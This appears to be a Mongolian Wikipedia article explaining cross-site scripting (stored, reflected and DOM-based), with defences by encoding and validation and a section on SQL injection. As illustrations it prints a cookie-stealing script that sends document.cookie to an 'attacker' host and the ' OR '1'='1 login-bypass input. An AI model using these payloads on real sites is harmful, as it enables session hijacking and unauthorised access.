Jump to content

Cross-site scripting (XSS) халдлага

Википедиа — Чөлөөт нэвтэрхий толь

Cross-Site Scripting (XSS) халдлага

[засварлах | кодоор засварлах]

Cross-Site Scripting (XSS) халдлага нь injection /кодон дунд код хавсаргах/-ы нэг төрөл бөгөөд хортой скрипт кодыг хоргүй, халдаж буй вэб сайт руу хавсаргадаг. XSS халдлага нь халдагчид вэб програмыг ашиглан хортой кодыг хэрэглэчидрүү илгээдэг бөгөөд ихэвчлэн сайтын форм хэсгүүдэд байршиж хэрэглэгчдэд хүрдэг. Вэб сайтад байх сул талууд нь эдгээр халдлагуудыг амжилтай болоход нөлөөлөх бөгөөд хэрэглэгчид хүсээгүй мэдээллийг үзүүлэхээс гадна хэрэглэгчийн форм дээр бичсэн мэдээллүүдийг шалгахгүйгээр эсвэл encode/хувиргах/ хийхгүйгээр хулгайлах хүртэл үр дагавар үзүүлж болно. Халдагчид нь XSS-ыг ашиглан хортой кодыг хэрэглэгчидэд илгээдэг. Хэрэглэгчийн вэб браузер нь кодыг хортой байна гэж мэдэх боломжгүй бөгөөд шалгахгүйгээр шууд ажиллуулдаг. Учир нь код нь баталгаатай эх сурвалж, вэб сайтаас илгээгдэж байгаа бөгөөд энэхүү хортой код нь таны cookie, session, token болон бусад нууцлагдмал мэдээллүүдрүү таны браузераар дамжин хандах, хулгайлах үйлдлүүдийг хийдэг. Энэ төрлийн скриптүүд нь HTML хуудасны агуулгыг өөрчөлдөг.
XXS дайралт бол веб сайтын ямар нэг input-ээр дамжуулж өөрийн кодоо хэрэглэлдэг . Хакерын бэлдсэн линк дээр дарснаар JavaScript код ажиллаж хэрэглэгчийн cookie гэх мэт мэдээлэлүүдийг хакер луу илгээнэ. Янз бүрийн скрипт байж болох боловч голдуу л JavaScript дээр хийдэг. Cookie хулгайлахыг hijack гэж нэрлэдэг. Хэрэглэгч өөрийн мэдээллээ өөрчлөх үед нь ажиллаж мэдээллийг нь хакер луу илгээх үйлдпийг хийдэг.

Cross-Site Scripting (XSS) халдлага нь дараах тохиолдлуудаас шалтгаалж ажиллана :

  1. Вэб сайтын хүсэлтээр untrusted source/баталгаагүй эх сурвалж/-оос вэб програмруу өгөгдөл орж байх үед
  2. Динамик агуулгатай өгөгдөл вэб сайтаас илгээгдэхдээ урьдчилан шалгагдахгүй эсвэл хувиргагдахгүй байх үед

Хортой скриптийн үр дагварууд

[засварлах | кодоор засварлах]

Халдагч этгэд вэв сайтанд document.cookie ашиглан хэрэглэгчийн cookie -г өөрийн сервер рүү илгээсэнээр,session ID- гэх мэт эмзэг мэдээллийг гаргаж тэднийг ашиглах болно (cookie авах жишээ код: javascript).

<script>window.location='http://attacker/?cookie='+document.cookie</script>

Халдагч addEventListener ашиглан keyboard -ын чагнаж үйл явдалуудыг бүртгүүлж байх болно . Дараа нь чухал мэдээлэл байж болзошгүй бичлэг, нууц үг, кредит картын дугаар гэх мэт хэрэглэгчийн эмзэг мэдээлэлүүдийг өөрийн сервер рүү илгээнэ.

Халдагч DOM удирдлагыг ашиглан хуудас руу хуурамч нэвтрэх маягт(Log in form) оруулдаг ба өөрийн серверт зорилтот маягтын үйл ажиллагааны үр дүнг буцаадаг болгон тохируусанаар хэрэглэгчийн эмзэг мэдээлэлд халдах боломжтой болно.


XSS халдлага нь үндсэн 2 категорид хамаардаг бөгөөд энэ нь: Stored болон reflected юм. Эдгээрээс өөр бас нэгэн төрөл байдаг хэдий ч төдийлөн дэлгэрээгүй бөгөөд DOM Based XSS гэж нэрлэдэг.

Stored XSS халдлага нь хортой кодыг вэб сайтын өгөгдлийн сан, мэссэж форм, хэрэглэгчдийн лог, сэтгэгдэл бичих талбар зэрэг газруудад байршуулдаг. Хохирогчийн хадгалсан вэб сайттай холбоотой бүхий л мэдээллийг тэрхүү хорт кодын тусламжтайгаар авах боломжтой юм. Үүнийг заримдаа Persistent эсвэл Type-I XSS гэж нэрлэх нь ч бий. Cookie -ийн хулгай нь энэ төрлийн халдлагад орно .

Зураг 1.Stored XSS халдлагын явагдах дараалал.



  1. Халдагч хортой кодыг веб сайтын өгөгдлийн санд оруулахад вэб худас дахь форум хэсгийг ашиглана.
  2. Хохирогч вэб сайт дах хортой мөр бүхий хуудасруу хандах хүсэлт гаргана.
  3. Хариуд нь вэб сайт нь мэдээллийн баазаас хортой мөр кодыг багтаасан хуудас (мэдээлэлийг)-ыг хохирогч руу илгээдэг.
  4. хохирогчийн браузер хариу доторх хортой скриптийг ажиллуулж халдагч сервер рүү хохирогчийн cookie-г илгээдэг.

Reflected XSS халдлага

[засварлах | кодоор засварлах]

Reflected xss( Тусгагдсан халдлага ) халдлага гэдэг нь хөнөөлт кодын тусламжтайгаар сервэр дээр ажиллаж байгаа вэб сайттай яг ижилхэн сайтыг сервэр дээр байршуулан хэрэглэгчийг хандахад хуулбар сайтруу redirect хийх хэлбэртэйгээр ажиллана. Ингэснээр хэрэглэгч өөрийн эрхээр нэвтрэх зэрэг ямар ч үйлдэл хийхэд мэдээлэл хулгайлагдах аюултай юм. Үүнийг Non-Persistent эсвэл Type-II-XSS гэж нэрлэх нь ч бий.

Зураг 2. Reflected XSS халдлагын явагдах дараалал


  1. Халдагчын бүтээл( урлал ) дотор хортой мөрийг агуулсан ба URL( өөр нэг веб хуудсын (сайтын) интернет дэхь хаягийг заасан бичиглэл юм) -su хохирогч руу илгээдэг.
  2. Хохирогч вэб сайтаас URL руу хандсан хүсэлт гаргсан үед халдагчид мэхлэгдэнэ.
  3. Хариуд нь вэб сайтанд URL -ын хортой мөр код илгээгдэнэ (хурамч худас г.м).
  4. Хохирогчийн вэб хөтчийн дотор хортой скриптийг ажиллуулж халдагчын сервер рүү хохирогчийн cookie ийг илгээдэг.

DOM-based XSS халдлага

[засварлах | кодоор засварлах]

DOM-based XSS халдлага нь аль алний шинж чанарыг агуулса бадаг.

Зураг 3. DOM-based XSS халдлагын явагдах дараалал


  1. Халдагчын бүтээл( урлал ) дотор хортой мөрийг агуулсан ба URL( өөр нэг веб хуудсын (сайтын) интернет дэхь хаягийг заасан бичиглэл юм) -su хохирогч руу илгээдэг.
  2. Хохирогч вэб сайтаас URL руу хандсан хүсэлт гаргсан үед халдагчид мэхлэгдэнэ.
  3. Вэб сайт нь хүсэлтийг хүлээн авдаг, гэхдээ хариуд нь хортой мөр илгэхгүй.
  4. Хохирогчийн браузер дотор хууль ёсны скриптээ ажиллуулдаг, хортой скриптийг үүсгэж хуудас руу оруулж өгч болно.
  5. Хохирогчийн браузер хуудас руу орж хортой скриптийг ажиллуулахад, халдагчын сервер рүү хохирогчийн күүкиг илгээх.


Хэрхэн хамгаалах вэ?

[засварлах | кодоор засварлах]

Хэрэглэгчийн оруулсан өгөгдөл дотор Javascript явж байвал xss гэж үзнэ. Хэрэглэгчийн оруулсан өгөгдөл доторх HTML элэмэнтүүдийг энкодлож гаргах юм бол Javascript ажиллахгүйгээр дэлгэц дээр харагдах юм. Гэхдээ зарим тохиолдолд хэрэглэгчдийг html өгөгдөл оруулахыг зөвшөөрөх тохиолдол гарна. Үүнийг зогсоохын тулд оролт дотор <script> -гэсэн маягийн зүйл байгаа эсэхийг шалгаж болно.

  1. Input-уудын уртыг заавал зааж өгөх, нэг их урт байх хэрэггүй.
  2. Хөрвүүлэлт хийдэг байх хэрэгтэй, шууд HTML хэлбэрээр харагддаггүй байх. Харин вэб дээрээ бид тусгай тэмдэгтүүдийг хөрвүүлдгээр хийснээр аюулаас багач атугай холдоно. Жишээ нь <script> гэж бичсэнийг <script> гэж хөрвүүлж харуулна.

XSS халдлага нь injection ( код оруулах , тарилтын) нэг төрөл юм гэдэгийг дурдая :
Хэрэглэгчийн input -ээр оруулсан өгөгдлийг( хортой код) андуурч програмын нэг хэсэг мэт ажилуулдаг .
Код нь тарилгын энэ төрлийн урьдчилан сэргийлэх зорилгоор оролтын өгөгдлийг аюулгүй болгон боловсруулах хэрэгтэй.Вэб хэрэгжүүлэгчидэд оролтын өгөгдлийг аюулгүй болгох 2 өөр арга байдаг.

  • Encoding (кодчлол), халдагчийн оруулсан өгөгдлийг код биш өгөгдөл гэж таниж дэлгэцэндээр харуулдаг арга юм .
  • Validation (Баталгаажуулалт) ,шүлтүүр хийж хэрэглэгчийн оруулсан өгөгдлийг хортой кодгүйгээр яалган авч дэлгэцэндээр харуулдаг арга юм .


Encoding нь код гэж ойлгогдож болохоор хэрэглэгчийн өгөгдлөөс зугтах явдал юм . Кодчилол хамгийн танигдахаар төрөл нь HTML escaping буюу HTML өгөгдлөөс -ээс зугтах явдал ба .<script> төрөлийн бичэглэлээс '<' болон '>' хаалтуудыг '&lt ;' болон '&gt ; ' тэмдэгтүүдээр кодлох явдал юм.

print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>  

<script>...</script> кодыг кодчолохдоо .

<html>
Latest comment:
&lt ;script&gt ;...&lt ;/script&gt ;
</html> 

Клиент талд Кодчилол хийх

[засварлах | кодоор засварлах]
Context Method/property
HTML element content node.textContent = userInput
HTML attribute value element.setAttribute(attribute, userInput)
эсвэл
element[attribute] = userInput
URL query value window.encodeURIComponent(userInput)
CSS valuee element.style.property = userInput
Example Example



SQL injection нь хамгаалалтын сул талыг ашиглан програм хангамжийн өгөгдлийн сангийн давхаргад халдах кодчиллын техник юм. Энэ нь хэрэглэгч заавал хатуу тогтсон дүрмийн дагуу өгөгдлийг оруулах албагүй байдагтай холбоотой бөгөөд жишээлбэл ийм санамсаргүй оролтын өгөгдөлд програмын эх кодын тусгай тэмдэгтүүдийн дараалал ч байж болох юм. Ингэж оруулсан өгөгдөл нь SQL илэрхийлэлд орж ирэн санаанд оромгүй буруу үр дүнг гаргадаг. Үүнийг SQL Injection гэж нэрлэдэг.
Програмчлалын Си хэлэнд програмын кодын мөрөнд тайлбар хийх мөн кодын зарим хэсгийг идэвхигүй болгохдоо “//”-тэмдэгт(хос ташуу зураас буюу хос slash)-ийг хэрэглэдэг. Тэгвэл MSSQL Server дээр query бичлэгийн тодорхой хэсгийг идвхигүй болгохдоо ”–” тэмдэгтийг ашигладаг. SQL Injection-ны доОр дурдах жишээ нь хэрэглэгчийн оруулсан өгөгдөл query бичлэгийн тодорхой хэсгийг идэвхигүй болгох, хэллэгийн логикийн чанараар query биелэх нөхцлийг өөрчлөх замаар үр дүнг гарган авах мөн хэрхэн өгөгдлийн санд өөрчлөлт оруулж болохыг харуулна. Жишээлбэл дараах зурагт харуулсан нэвтрэх(Login) хуудсан дээр жишээ авч үзье! Хэрэглэгч өөрийн нэр нууц үгийг зурагт харуулснаар оруулахад тухайн нэр, нууц үг нь үнэн байх зөвхөн нэг бичлэг олдох ба буруу өгөгдөл оруулах үед бичлэг олдоогүй гэсэн мэдээлэл гарна.

Зураг 4.


Хэрэглэгч стандарт өгөгдөл оруулах үед SQL илэрхийлэл дараах хэлбэрээр биелэнэ. Энэ үед query нь нөхцлийг шалгаад өгөгдсөн нөхцөл бүхий бичлэг байгаа эсэхийг ямар ч алдаагүйгээр шалгаад үр дүнг буцаана.

“SELECT count(*) FROM users WHERE username= ‘aaa’ AND userpassw=’bba'”

Гэтэл хэрэглэгч оролтын өгөгдлийг ингэж үнэн зөвөөр бөглөхгүй байж болох ба дээр дурдсан хэллэгийн логик, SQL илэрхийллийн тусгай тэмдэгтүүдийг ашиглан булхайцаж дараах(Зураг В) үр дүнг гарган авч болно.
Хэрэглэгч стандарт бус(Зураг В-д харуулсан) өгөгдөл оруулах үед SQL илэрхийлэл дараах хэлбэрээр биелэнэ.

“SELECT count(*) FROM users WHERE username= ” OR ‘1’=’1′ AND userpassw=” OR ‘1’=’1′”

Зураг 5. SQL injection аргаар нэвтрэх нэг жишээ


Хэрэглэгчийн нэр нууц үгийн оронд “’ OR ‘1’=’1” гэсэн оролтыг өгөхөд л өгөгдлийн сангаас мэдээлэл шүүж гаргах SQL query-ны бүтэц өөрчлөгдөн шал өөр дүнг буцааж байгааг дээрх зурагнаас харж болохоор байна.